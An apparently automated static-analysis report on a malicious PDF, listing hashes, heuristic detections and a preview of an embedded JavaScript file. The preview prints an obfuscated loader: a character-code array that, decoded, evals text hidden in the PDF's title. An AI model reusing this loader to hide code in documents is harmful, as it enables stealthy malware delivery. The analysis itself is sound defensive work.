Malicious PDF — malware analysis report

Static analysis result for SHA-256 bedf6e50ae0a6409…

MALICIOUS

PDF

3.4 KB First seen: 2026-05-09
MD5: ccc435cd2d6f0f8d8ff017896eb15d3d SHA-1: 5044c64ac519bbadd9ba0a368b38b4b9ddd90fb4 SHA-256: bedf6e50ae0a6409c87c1862861d1917767771052d43612620499b8886625c84
156 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF contains embedded JavaScript, indicated by multiple heuristic firings including PDF_JAVASCRIPT and PDF_JS. The ML classifier strongly flags this PDF as malicious. The embedded JavaScript, named 'javascript_obj0006_000.js', is likely responsible for the malicious behavior, potentially downloading and executing a second-stage payload. The obfuscation indicators suggest an attempt to evade detection.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 5

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a large numeric character-code array feeding an auto-run script) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
            for (var i=0; i < list.length; i++) {
                result +=  String.fromCharCode(list[i] - jump);
            }
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0006_000.js pdf-javascript-stream PDF /JS object 6 at offset 0xA05 1268 bytes
SHA-256: bac331c0c22b37fd3fd634fd1db222adbcab7df8f06736335e8bf5959f426cd9
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
sourceCode = "32,32,32,32,76,105,70,115,48,61,116,104,105,115,59,32,32,32,32,121,86,80,49,55,107,49,51,115,68,61,76,105,70,115,48,46,105,110,102,111,46,116,105,116,108,101,59,99,98,97,51,61,34,34,59,102,111,114,32,40,105,61,48,59,105,60,121,86,80,49,55,107,49,51,115,68,46,108,101,110,103,116,104,59,105,32,43,61,50,41,123,32,32,32,99,98,97,51,32,43,61,121,86,80,49,55,107,49,51,115,68,46,99,104,97,114,65,116,40,105,41,59,32,32,32,125,66,110,53,77,61,116,104,105,115,59,32,32,32,32,72,99,56,50,113,61,91,39,105,39,44,39,115,39,44,39,50,39,44,39,89,39,44,39,101,39,44,39,118,39,44,39,114,39,44,39,118,39,44,39,81,39,44,39,48,39,44,39,107,39,44,39,105,39,44,39,116,39,44,39,97,39,44,39,99,39,44,39,76,39,44,39,114,39,44,39,67,39,44,39,51,39,44,39,108,39,44,39,81,39,93,59,122,116,54,121,56,71,114,53,61,72,99,56,50,113,91,52,93,43,72,99,56,50,113,91,55,93,43,72,99,56,50,113,91,49,51,93,43,72,99,56,50,113,91,49,57,93,59,75,107,116,115,48,61,66,110,53,77,91,122,116,54,121,56,71,114,53,93,59,75,107,116,115,48,40,99,98,97,51,41,59,32,32,32,32"; 
function decrypt(str, jump){
var result = "";
var list = str.split(',');
        for (var i=0; i < list.length; i++) {
            result +=  String.fromCharCode(list[i] - jump);
        }
        return result;
        }